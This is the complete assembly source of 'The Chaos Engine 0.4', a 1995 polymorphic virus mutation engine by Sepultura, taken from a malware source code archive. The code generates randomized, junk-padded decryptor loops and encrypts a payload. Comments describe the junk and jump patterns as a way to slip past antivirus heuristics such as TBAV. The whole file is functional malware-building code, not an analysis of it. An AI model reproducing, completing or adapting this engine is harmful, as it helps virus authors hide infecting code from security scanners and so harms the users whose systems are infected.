MalwareSourceCode/Engines/Win32/Virus.Win32.Chaos.ASM
2020-10-16 22:28:58 +02:00

863 lines
21 KiB
NASM

radix 16
;*****************************************
;* T.H.E - C.H.A.O.S - E.N.G.I.N.E - 0.4 *
;*****************************************
;1995 - Sepultura - Australia
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;on CALLing of TCE -
;;;AX = TCE Flags:1 - Pad To DECRYPTOR_LENGTH.
;;; 2 - Make Short Decryptor (No Junk).
;;; 4 - Add Segment Overide.
;;;
;;;CX = Length of Code to Encrypt.
;;;DX = Delta Offset.
;;;DS:SI = Code to encrypt (DS _MUST_ = CS).
;;;ES:DI = Location of Buffer to Create Decryptor in.
;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;ON RETURN:
;;;ES = DS = Segment of Decryptor / Encrypted Code
;;;DX = Pointer to Start of Code
;;;CX = Length of Code
;;;;;;;;;;;;;;;;;;;
;;;Flag EQUates
MAKE_SMALL equ 1
PAD_TO_MAX equ 2
ADD_SEG equ 4
;;;;;;;;;;;;;;;;;;;
;;;W.H.A.T.E.V.E.R
DECRYPTOR_LENGTH equ 190h
MAX_PADDING equ 90h - 1f
length_1 equ (offset int_tbl - offset one_byters)-1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;REGISTER TABLE - INTEL STANDLE FORMAT
tce_AX equ 0000xB
tce_CX equ 0001xB
tce_DX equ 0010xB
tce_BX equ 0011xB
tce_SP equ 0100xB
tce_BP equ 0101xB
tce_SI equ 0110xB
tce_DI equ 0111xB
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;THe BeLoW InSTuCTiOn CaN KilL A MaN
db '[TCE-0.4]',0
;*****************************************************
;*****************************************************
;*** The REAL _REAL_ START of THE CHAOS ENGINE 0.4 ***
;*****************************************************
;*****************************************************
tce: push ax,bx,bp
push di,si
cld
mov tce_begin,di
mov tce_delta,dx
mov c_length,cx
mov tce_flags,ax
call clear_regs
mov B index_sub,0
mov B[offset more_junk],0b0
test W tce_flags,MAKE_SMALL
if nz mov B[offset more_junk],0c3
push si
call get_rand_1f
add ax,MAX_PADDING
xchg cx,ax
call more_junk
swap0: mov si,offset init_1
lodsw
call binary
jz no_swap1
xchg ax,[si]
mov [si-2],ax
no_swap1:
push ax
lodsw
call binary
jnz no_swap2
xchg ax,[si]
mov [si-2],ax
no_swap2:
push ax
lodsw
lodsw
call binary
jz build_code
xchg ax,[si]
mov [si-2],ax
build_code:
pop ax
call ax
call pad_10
pop ax
call ax
call pad_10
call W init_3
call pad_10
call gen_decrypt
call pad_8
call W init_4
call pad_8
call W init_5
call pad_10
call gen_loop
call pad_8
test W tce_flags,PAD_TO_MAX
jz no_padding
mov B[offset more_junk],0b0
mov cx,DECRYPTOR_LENGTH
add cx,tce_begin
sub cx,di
call more_junk
no_padding:
mov ax,di
sub ax,DECRYPTOR_LENGTH
add enc_index,ax
mov bx,W index_loc
cmp B index_sub,1
if e neg ax
add es:[bx],ax
pop si
mov cx,c_length
rep movsb
mov dx,tce_begin
mov ds,es
call encryptor
mov cx,di
sub cx,dx
pop si,di
pop bp,bx,ax
ret
init_count: ;Initialises Count Register..
call get_unused_reg ;Make Count Initialiser in Encryptor and
cmp al,tce_DX
je init_count
mov count_reg,al ;Decryptor
mov bx,W c_length
shr bx,1
mov W enc_length,bx
call gen_mov_reg
ret
init_index: ;Initialises Index Register..
mov ax,0ff ;Makes Index Initialiser in Encryptor and
call get_rand ;Decryptor..
push ax
call get_rand_7
pop ax
if z xor ax,ax
mov B index_off,al
mov bx,DECRYPTOR_LENGTH
add bx, tce_begin
mov W enc_index,bx
add bx, tce_delta
cbw
sub bx,ax
get_index:
call get_unused_reg
cmp al,tce_BX
jb get_index
mov W index_num,ax
mov B index_reg,al
mov B index_set,1
call gen_mov_reg
mov B index_set,0
ret
gen_decrypt: ;generates DECRYPTOR / ENCRYPTOR instruction
mov W loop_start,di
call pad_8
mov bl,B key_reg
sal bl,3
call get_rand_2
add ax,ax
add ax,offset enc_table
xchg si,ax
lodsw
call binary
if z xchg ah,al
push ax
cmp si,offset enc_table + 2
jne no_carry_set
mov al,0f8
call binary
if z inc ax
mov B enc_cf,al
stosb
no_carry_set:
test W tce_flags,ADD_SEG
jz no_seg_set
mov al,2e
stosb
no_seg_set:
pop ax
stosb
mov B enc_loop,ah
mov si,W index_num
cmp B index_reg,tce_BP
je encryptor_has_offset
cmp B index_off,0
jne encryptor_has_offset
push ax
call get_rand_7
pop ax
jz encryptor_has_offset
add si,index_tab_c
lodsb
or al,bl
stosb
ret
encryptor_has_offset:
add si,index_tab_b
lodsb
or al,bl
mov ah,B index_off
or al,bl
stosw
xchg al,ah
cbw
call binary
jnz ret
mov al,ah
stosb
add es:B[di-3],40
ret
modify_key: ;Modify Key: XOR/ADD/SUB key_reg,xxxx
call get_rand_7
jz no_mod_key
call get_rand_2
add ax,offset modify_table
xchg si,ax
lodsb
mov ah,al
mov al,81
mov W enc_mod_op,ax
or ah,B key_reg
stosw
call get_any_rand
stosw
no_mod_key:
mov W enc_mod_val,ax
ret
inc_index: ;increase index by 2..
call binary ;1 in 2 chance of ADD reg,2/SUB reg,-2
jz add_sub_index
mov al,B index_reg
or al,40
stosb
call pad_8
stosb
ret
add_sub_index:
mov al,83
stosb
mov ah,2
mov al,B index_reg
or al,0c0
call binary
jnz put_add_sub_index
neg ah
or al,0e8
put_add_sub_index:
stosw
ret
gen_loop:
mov al,B count_reg
cmp al,tce_CX
jne not_CX
push ax
call get_rand_7
pop ax
jz not_CX
lea bx,[di+2]
mov ax,W loop_start
sub ax,bx
mov ah,0e2
call binary
jnz no_loop_nz
xchg bp,ax
jmp short do_loop_nz
no_loop_nz:
xchg ah,al
stosw
ret
not_CX: xchg bx,ax
call binary
jz count_add_sub
mov al,48
or al,bl
stosb
jmp short zero_test
count_add_sub:
mov al,83
stosb
mov ah,-1
mov al,bl
or al,0c0
call binary
jnz put_add_sub_count
neg ah
or al,0e8
put_add_sub_count:
stosw
xor bp,bp
push ax
call get_rand_7
pop ax
jz nloop_nz
zero_test:
call pad_10
xor bp,bp
do_loop_nz:
mov al,B count_reg
mov bl,al
sal al,3
or al,bl
xchg ah,al
mov bh,ah
call get_rand_2
add ax,offset zero_test_a
xchg si,ax
lodsb
mov ah,bh
or ah,0c0
stosw
nloop_nz:
lea bx,[di+2]
mov ax,W loop_start
sub ax,bx
or bp,bp
jnz loop_nz
mov ah,075
call binary
jnz nnnn
mov B es:[di],0f8
inc di
sub ax,0fe01
db 0a9
loop_nz:mov ah,0e0
nnnn: xchg ah,al
stosw
ret
init_key:
call get_any_rand
mov W enc_key,ax
xchg bx,ax
call get_unused_reg
mov B key_reg,al
gen_mov_reg:
call binary
jz lea_mov
or al,0b8
stosb
xchg ax,bx
jmp short put_mov_b
lea_mov:call binary
jz zero_then_add
sal al,3
or al,06
mov ah,8d
xchg ah,al
stosw
xchg ax,bx
jmp short put_mov_b
zero_then_add: ;Zero Register (XOR/SUB reg,reg)
push bx ;Then OR/XOR/ADD Value
push ax ;or SUB -Value
mov ah,0c0
or ah,al
sal al,3
or ah,al
mov al,29
call binary
if z mov al,31
stosw
call pad_10
pop bx
call get_rand_2
add ax,offset value_from_0
xchg si,ax
lodsb
call binary
jz zero_then_sub
or al,bl
mov ah,81
xchg ah,al
stosw
pop ax
put_mov_b:
cmp B index_set,01
if e mov W index_loc,di
stosw
ret
zero_then_sub:
cmp B index_set,01
if e mov B index_sub,1
mov al,0e8
or al,bl
mov ah,81
xchg ah,al
stosw
pop ax
neg ax
jmp short put_mov_b
pad_8: push ax ;Sub Procedure to Pad Between 1 and 8 bytes
call get_rand_7
inc ax
jmp short padder
pad_10: push ax
call get_rand_1f ;Sub Procedure to Pad Between 8 and 16 bytes
or al,8
padder: xchg cx,ax
call more_junk
pop ax
ret
more_junk:
mov al,03
call get_rand_b
jnz mj0
mov B [offset code_jmp],083 ;Re-Enable Jumps
mov ax,cx ;else normal filler junk (1 in 16)
cmp ax,40
if a mov al,40
call get_rand_b
xchg bx,ax
call fill_jnk
jmp short mj2
mj0: ;8 in 16 chance of some type of jump
call code_jmp
mj2: jcxz ret
jmp short more_junk
one_byte: ;GENERATES A ONE BYTE JUNK INSTRUCTION
jcxz ret
mov si,one_byters ;FROM one_byters TABLE
mov al,length_1
call get_rand_b
add si,ax
movsb
dec cx
dec bx
ret
reg_op: call get_rand_7 ;ANY OP unused_reg16,reg16..
sal al,3
or al,3
xchg dx,ax
call get_unused_reg
sal al,3
mov dh,al
call get_rand_7
do_op: or dh,al
or dh,0c0
xchg dx,ax
put_2: cmp bx,2
jb one_byte
stosw
dec cx,2
dec bx,2
ret
lea_reg:call get_rand_7 ;LEA unused_reg,[BP/BX/SI/DI]
cmp al,6
je lea_reg
xchg dx,ax
call get_unused_reg
sal al,3
or al,dl
mov ah,08d
xchg ah,al
jmp short put_2
op_ax: call get_any_rand
and al,8
or al,5
and ah,3
shr ah,4
or al,ah
put_3: cmp bx,3
jb reg_op
stosb
call get_any_rand
put_3b: stosw
sub cx,3
sub bx,3
ret
mov_reg:call get_unused_reg ;MOV unused_reg16,xxxx
or al,0b8
jmp short put_3
op_reg_im: ;cmp/add/sub/adc/sbb/or/xor/and reg16,imm16
cmp bx,4
jb op_ax
call get_unused_reg
mov ah,81
xchg dx,ax
call get_rand_7
sal al,3
or ax,dx
xchg ah,al
or ah,0c0
stosw
call get_any_rand
stosw
sub bx,4
sub cx,4
ret
code_jmp:
cmp cx,3
jb ret
mov B [offset code_jmp],0c3 ;Disable Jumps.This ensures Unchained
;(TBAV-J) and helps stops heuristics
call get_any_rand ;else conditional jmp
and ax,1f0f ;between 4 and 43 bytse jmp length
add ah,4
or al,70 ;conditional jmp instructions are 70
;--> 7f
push ax
call get_rand_1f
pop ax
if z mov al,0e3
xor bx,bx
mov bl,ah
dec cx,2
cmp bx,cx
jb put_jmp
mov bx,cx
mov ah,bl
put_jmp:stosw
fill_jnk:
or bx,bx
jz ret
mov al,((offset binary - offset junk_tbl)/2)-1
call get_rand_b
add ax,ax
add ax,offset junk_tbl
xchg si,ax
lodsw
call ax
jmp short fill_jnk
pp_reg: ;generate PUSH reg / junk / POP reg
cmp bx,3
jb gen_int
lea ax,[bx-2]
shr ax,1
call get_rand
xchg ax,dx
call get_rand_7
or al,50
stosb
dec cx
dec bx
push ax
xchg dx,ax
sub bx,ax
push bx
xchg bx,ax
call fill_jnk
pop bx
pop ax
call binary
jz use_same
call get_unused_reg
or al,50
use_same:
or al,8
stosb
dec cx
dec bx
ret
gen_int:cmp bx,4
jb ret
call get_rand_2
add ax,ax
add ax,offset int_tbl
xchg si,ax
lodsw
mov dx,0cdb4
xchg al,dl
stosw
xchg dx,ax
xchg ah,al
stosw
sub cx,4
sub bx,4
ret
junk_tbl: dw offset op_reg_im
dw offset op_reg_im
dw offset op_reg_im
dw offset gen_int
dw offset gen_int
dw offset pp_reg
dw offset pp_reg
dw offset reg_op
dw offset reg_op
dw offset lea_reg
dw offset lea_reg
dw offset mov_reg
dw offset op_ax
dw offset one_byte
binary: push ax
mov al,1
call get_rand_b
pop ax
ret
get_rand_2:
mov al,2
db 0a9
get_rand_7:
mov al,7
db 0a9
get_rand_1f:
mov al,1f
db 0a9
get_any_rand: ;return rnd number in AX between 0 and FFFE
mov al,0fe
get_rand_b:
cbw
get_rand: ;returns random number in AX between 0 and AX
push cx,dx
inc ax
push ax
in ax,40
xchg cx,ax
in ax,40
rol ax,cl
xchg cx,ax
in ax,40
xor ax,cx
adc ax,1234
org $-2
last_rand dw 0AAAA
mov last_rand,ax
pop cx
xor dx,dx
cmp cx,1
adc cx,0
div cx
xchg dx,ax
or ax,ax
pop dx,cx
ret
one_byters: cmc ;15 1 byte junk instructions
cld
std
in ax,dx
in al,dx
lahf
cbw
nop
aaa
aas
daa
das
inc ax
dec ax
xlat
int_tbl: dw 0116 ;AH=01,INT16: Check Keyboard Buffer..
dw 0216 ;AH=02,INT16: Get Keyboard States..
dw 4d21 ;AH=4D,INT21: Get Program Terminate Status..
dw 4d21 ;AH=4D,INT21: Get Program Terminate Status..
dw 0d10 ;AH=0D,INT10: Get Video Info..
dw 0b21 ;AH=0B,INT21: Check Keyboard Buffer..
dw 002a
dw 002a
clear_regs: cwd
mov B index_reg,dl ;Clears Register Tables
mov B key_reg,dl ;(All Regs Free)..
mov B count_reg,dl
ret
get_unused_reg: call get_rand_7 ;Return an Unused Register..
test al,NOT tce_SP ;But _NOT_ SP, or AX.
jz get_unused_reg
cmp al,index_reg
je get_unused_reg
cmp al,count_reg
je get_unused_reg
cmp al,B key_reg
je get_unused_reg
ret
;**********************************************
;* The Encryptor (Built along with Decryptor) *
;**********************************************
encryptor: mov cx,1234
org $-2
enc_length dw 0
mov bx,1234
org $-2
enc_index dw 0
mov ax,1234
org $-2
enc_key dw 0
enc_cf: nop
enc_loop: xor [bx],ax
enc_mod_op dw 0
enc_mod_val dw 0
inc bx,2
loop enc_cf
ret
;****************************
;* Data / Variables / Flags *
;****************************
init_1 dw offset init_count
init_2 dw offset init_key
init_3 dw offset init_index
init_4 dw offset inc_index
init_5 dw offset modify_key
;* The Below is A table of Values to Be Used To Choose *
;* The Count Register, The Index Register, and The Reg *
;* to save SP in During the Decryptor Loop *
; BX BP SI DI ;This Table is used To Build
index_tab_b: db 0,0,0,47,0,46,44,45 ;The Decryptor Instruction
index_tab_c: db 0,0,0,7,0,0,4,5 ;Same As Above
; SBB ADC XOR XOR ADD SUB
enc_table: db 19, 11, 31, 31, 01, 29 ;The Decryptor Opcodes..
; AND OR TEST
zero_test_a: db 21, 09,85
; SUB ;Opcodes to Modify the Key
modify_table: db 0e8 ;Register
; ADD XOR OR ;Opcode to get A value
value_from_0: db 0c0,0f0,0c8 ;from 0.
loop_start dw 0 ;Postion for LOOP to Jump to..
index_num dw 0
index_off db 0 ;OFFSET of INDEX reference (i.e: [SI+XX]).
index_loc dw 0 ;location in ES of index reference set
index_sub db 0 ;Was index_reg set using 0 the sub -value?
index_reg db 0 ;Table of Used Registers..
count_reg db 0 ;used in GET_UNUSED_REG
key_reg db 0
index_set db 0
tce_flags dw 0 ;Engines Flags
tce_delta dw 0 ;Delta Offset
tce_begin dw 0 ;Beginning
c_length dw 0
end_tce: